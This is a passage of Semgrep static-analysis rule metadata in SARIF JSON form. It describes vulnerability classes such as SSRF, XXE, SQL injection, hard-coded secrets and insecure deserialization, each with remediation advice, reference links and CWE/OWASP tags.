[https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/javascript.express.request.ssrf-deepsemgrep.ssrf-deepsemgrep","id":"javascript.express.request.ssrf-deepsemgrep.ssrf-deepsemgrep","name":"javascript.express.request.ssrf-deepsemgrep.ssrf-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.request.ssrf-deepsemgrep.ssrf-deepsemgrep"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"XML external entities are enabled for this XMLInputFactory. This is vulnerable to XML external entity attacks. Disable external entities by setting \"javax.xml.stream.isSupportingExternalEntities\" to false."},"help":{"markdown":"XML external entities are enabled for this XMLInputFactory. This is vulnerable to XML external entity attacks. Disable external entities by setting \"javax.xml.stream.isSupportingExternalEntities\" to false.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xmlinputfactory-external-entities-enabled.xmlinputfactory-external-entities-enabled)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://www.blackhat.com/docs/us-15/materials/us-15-Wang-FileCry-The-New-Age-Of-XXE-java-wp.pdf](https://www.blackhat.com/docs/us-15/materials/us-15-Wang-FileCry-The-New-Age-Of-XXE-java-wp.pdf)\n","text":"XML external entities are enabled for this XMLInputFactory. This is vulnerable to XML external entity attacks. Disable external entities by setting \"javax.xml.stream.isSupportingExternalEntities\" to false."},"helpUri":"https://semgrep.dev/r/java.lang.security.xmlinputfactory-external-entities-enabled.xmlinputfactory-external-entities-enabled","id":"java.lang.security.xmlinputfactory-external-entities-enabled.xmlinputfactory-external-entities-enabled","name":"java.lang.security.xmlinputfactory-external-entities-enabled.xmlinputfactory-external-entities-enabled","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","LOW CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xmlinputfactory-external-entities-enabled.xmlinputfactory-external-entities-enabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.sqli.systemdata-taint.systemdata-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.sqli.systemdata-taint.systemdata-taint","id":"csharp.dotnet-core.sqli.systemdata-taint.systemdata-taint","name":"csharp.dotnet-core.sqli.systemdata-taint.systemdata-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.sqli.systemdata-taint.systemdata-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.jdbctemplate-sqli.jdbctemplate-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"helpUri":"https://semgrep.dev/r/kotlin.spring.jdbctemplate-sqli.jdbctemplate-sqli","id":"kotlin.spring.jdbctemplate-sqli.jdbctemplate-sqli","name":"kotlin.spring.jdbctemplate-sqli.jdbctemplate-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.jdbctemplate-sqli.jdbctemplate-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.redis.ruby-redis-hardcoded-secret.ruby-redis-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.redis.ruby-redis-hardcoded-secret.ruby-redis-hardcoded-secret","id":"ruby.redis.ruby-redis-hardcoded-secret.ruby-redis-hardcoded-secret","name":"ruby.redis.ruby-redis-hardcoded-secret.ruby-redis-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.redis.ruby-redis-hardcoded-secret.ruby-redis-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This GitHub Actions workflow file uses `workflow_run` and checks out code from the incoming pull request. When using `workflow_run`, the Action runs in the context of the target repository, which includes access to all repository secrets. Normally, this is safe because the Action only runs code from the target repository, not the incoming PR. However, by checking out the incoming PR code, you're now using the incoming code for the rest of the action. You may be inadvertently executing arbitrary code from the incoming PR with access to repository secrets, which would let an attacker steal repository secrets. This normally happens by running build scripts (e.g., `npm build` and `make`) or dependency installation scripts (e.g., `python setup.py install`). Audit your workflow file to make sure no code from the incoming PR is executed. Please see https://securitylab.github.com/research/github-actions-preventing-pwn-requests/ for additional mitigations."},"help":{"markdown":"This GitHub Actions workflow file uses `workflow_run` and checks out code from the incoming pull request. When using `workflow_run`, the Action runs in the context of the target repository, which includes access to all repository secrets. Normally, this is safe because the Action only runs code from the target repository, not the incoming PR. However, by checking out the incoming PR code, you're now using the incoming code for the rest of the action. You may be inadvertently executing arbitrary code from the incoming PR with access to repository secrets, which would let an attacker steal repository secrets. This normally happens by running build scripts (e.g., `npm build` and `make`) or dependency installation scripts (e.g., `python setup.py install`). Audit your workflow file to make sure no code from the incoming PR is executed. Please see https://securitylab.github.com/research/github-actions-preventing-pwn-requests/ for additional mitigations.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.github-actions.security.workflow-run-target-code-checkout.workflow-run-target-code-checkout)\n - [https://securitylab.github.com/research/github-actions-preventing-pwn-requests/](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)\n - [https://github.com/justinsteven/advisories/blob/master/2021_github_actions_checkspelling_token_leak_via_advice_symlink.md](https://github.com/justinsteven/advisories/blob/master/2021_github_actions_checkspelling_token_leak_via_advice_symlink.md)\n - [https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)\n","text":"This GitHub Actions workflow file uses `workflow_run` and checks out code from the incoming pull request. When using `workflow_run`, the Action runs in the context of the target repository, which includes access to all repository secrets. Normally, this is safe because the Action only runs code from the target repository, not the incoming PR. However, by checking out the incoming PR code, you're now using the incoming code for the rest of the action. You may be inadvertently executing arbitrary code from the incoming PR with access to repository secrets, which would let an attacker steal repository secrets. This normally happens by running build scripts (e.g., `npm build` and `make`) or dependency installation scripts (e.g., `python setup.py install`). Audit your workflow file to make sure no code from the incoming PR is executed. Please see https://securitylab.github.com/research/github-actions-preventing-pwn-requests/ for additional mitigations."},"helpUri":"https://semgrep.dev/r/yaml.github-actions.security.workflow-run-target-code-checkout.workflow-run-target-code-checkout","id":"yaml.github-actions.security.workflow-run-target-code-checkout.workflow-run-target-code-checkout","name":"yaml.github-actions.security.workflow-run-target-code-checkout.workflow-run-target-code-checkout","properties":{"precision":"very-high","tags":["CWE-913: Improper Control of Dynamically-Managed Code Resources","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.github-actions.security.workflow-run-target-code-checkout.workflow-run-target-code-checkout"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Checks if code allows cookies to be deserialized using Marshal. If the attacker can craft a valid cookie, this could lead to remote code execution. The hybrid check is just to warn users to migrate to :json for best practice."},"help":{"markdown":"Checks if code allows cookies to be deserialized using Marshal. If the attacker can craft a valid cookie, this could lead to remote code execution. The hybrid check is just to warn users to migrate to :json for best practice.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.cookie-serialization.cookie-serialization)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_cookie_serialization.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_cookie_serialization.rb)\n - [https://robertheaton.com/2013/07/22/how-to-hack-a-rails-app-using-its-secret-token/](https://robertheaton.com/2013/07/22/how-to-hack-a-rails-app-using-its-secret-token/)\n","text":"Checks if code allows cookies to be deserialized using Marshal. If the attacker can craft a valid cookie, this could lead to remote code execution. The hybrid check is just to warn users to migrate to :json for best practice."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.cookie-serialization.cookie-serialization","id":"ruby.lang.security.cookie-serialization.cookie-serialization","name":"ruby.lang.security.cookie-serialization.cookie-serialization","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.cookie-serialization.cookie-serialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-pycurl.tainted-flask-http-request-pycurl)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-pycurl.tainted-flask-http-request-pycurl","id":"python.flask.net.tainted-flask-http-request-pycurl.tainted-flask-http-request-pycurl","name":"python.flask.net.tainted-flask-http-request-pycurl.tainted-flask-http-request-pycurl","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.net.tainted-flask-http-request-pycurl.tainted-flask-http-request-pycurl"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.sqlalchemy-connection-django.sqlalchemy-connection-django)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/python.django.db.sqlalchemy-connection-django.sqlalchemy-connection-django","id":"python.django.db.sqlalchemy-connection-django.sqlalchemy-connection-django","name":"python.django.db.sqlalchemy-connection-django.sqlalchemy-connection-django","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.sqlalchemy-connection-django.sqlalchemy-connection-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-aiohttp.tainted-flask-http-request-aiohttp)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-aiohttp.tainted-flask-http-request-aiohttp","id":"python.flask.net.tainted-flask-http-request-aiohttp.tainted-flask-http-request-aiohttp","name":"python.flask.net.tainted-flask-http-request-aiohttp.tainted-flask-http-request-aiohttp","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.net.tainted-flask-http-request-aiohttp.tainted-flask-http-request-aiohttp"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-dill-flask.tainted-dill-flask)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pypi.org/project/dill/](https://pypi.org/project/dill/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-dill-flask.tainted-dill-flask","id":"python.flask.deserialization.tainted-dill-flask.tainted-dill-flask","name":"python.flask.deserialization.tainted-dill-flask.tainted-dill-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-dill-flask.tainted-dill-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an unsecured transmission channel. 'OpenerDirector.open(...)' is being used with 'ftp://'. Information sent over this connection will be unencrypted. Consider using SFTP instead. urllib does not support SFTP, so consider a library which supports SFTP."},"help":{"markdown":"Detected an unsecured transmission channel. 'OpenerDirector.open(...)' is being used with 'ftp://'. Information sent over this connection will be unencrypted. Consider using SFTP instead. urllib does not support SFTP, so consider a library which supports SFTP.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open-ftp.insecure-openerdirector-open-ftp)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.OpenerDirector.open](https://docs.python.org/3/library/urllib.request.html#urllib.request.OpenerDirector.open)\n","text":"Detected an unsecured transmission channel. 'OpenerDirector.open(...)' is being used with 'ftp://'. Information sent over this connection will be unencrypted. Consider using SFTP instead. urllib does not support SFTP, so consider a library which supports SFTP."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open-ftp.insecure-openerdirector-open-ftp","id":"python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open-ftp.insecure-openerdirector-open-ftp","name":"python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open-ftp.insecure-openerdirector-open-ftp","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-openerdirector-open-ftp.insecure-openerdirector-open-ftp"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded cryptographic key was detected. An attacker that obtains this key via reverse engineering or access to source code will be able to re-use this key to encrypt, decrypt, and/or sign data at will. Cryptographic keys should be unique, and randomly generated per user, per client."},"help":{"markdown":"A hard-coded cryptographic key was detected. An attacker that obtains this key via reverse engineering or access to source code will be able to re-use this key to encrypt, decrypt, and/or sign data at will. Cryptographic keys should be unique, and randomly generated per user, per client.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.hardcoded-symmetric-key.hardcoded-symmetric-key)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"A hard-coded cryptographic key was detected. An attacker that obtains this key via reverse engineering or access to source code will be able to re-use this key to encrypt, decrypt, and/or sign data at will. Cryptographic keys should be unique, and randomly generated per user, per client."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.hardcoded-symmetric-key.hardcoded-symmetric-key","id":"swift.commoncrypto.hardcoded-symmetric-key.hardcoded-symmetric-key","name":"swift.commoncrypto.hardcoded-symmetric-key.hardcoded-symmetric-key","properties":{"precision":"very-high","tags":["CWE-321: Use of Hard-coded Cryptographic Key","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.hardcoded-symmetric-key.hardcoded-symmetric-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.mysql.node-mysql-hardcoded-secret.node-mysql-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.mysql.node-mysql-hardcoded-secret.node-mysql-hardcoded-secret","id":"javascript.mysql.node-mysql-hardcoded-secret.node-mysql-hardcoded-secret","name":"javascript.mysql.node-mysql-hardcoded-secret.node-mysql-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.mysql.node-mysql-hardcoded-secret.node-mysql-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"HttpOnly cookie flag is explicitly disabled. This will cause cookies to be transmitted over unencrypted HTTP connections which can allow theft of confidential user data such as session tokens."},"help":{"markdown":"HttpOnly cookie flag is explicitly disabled. This will cause cookies to be transmitted over unencrypted HTTP connections which can allow theft of confidential user data such as session tokens.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.taint-cookie-http-false.taint-cookie-http-false)\n - [https://www.php.net/manual/en/function.setcookie.php](https://www.php.net/manual/en/function.setcookie.php)\n - [https://www.php.net/manual/en/function.session-set-cookie-params.php](https://www.php.net/manual/en/function.session-set-cookie-params.php)\n - [https://www.php.net/manual/en/configuration.file.php](https://www.php.net/manual/en/configuration.file.php)\n","text":"HttpOnly cookie flag is explicitly disabled. This will cause cookies to be transmitted over unencrypted HTTP connections which can allow theft of confidential user data such as session tokens."},"helpUri":"https://semgrep.dev/r/php.lang.security.taint-cookie-http-false.taint-cookie-http-false","id":"php.lang.security.taint-cookie-http-false.taint-cookie-http-false","name":"php.lang.security.taint-cookie-http-false.taint-cookie-http-false","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.taint-cookie-http-false.taint-cookie-http-false"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some 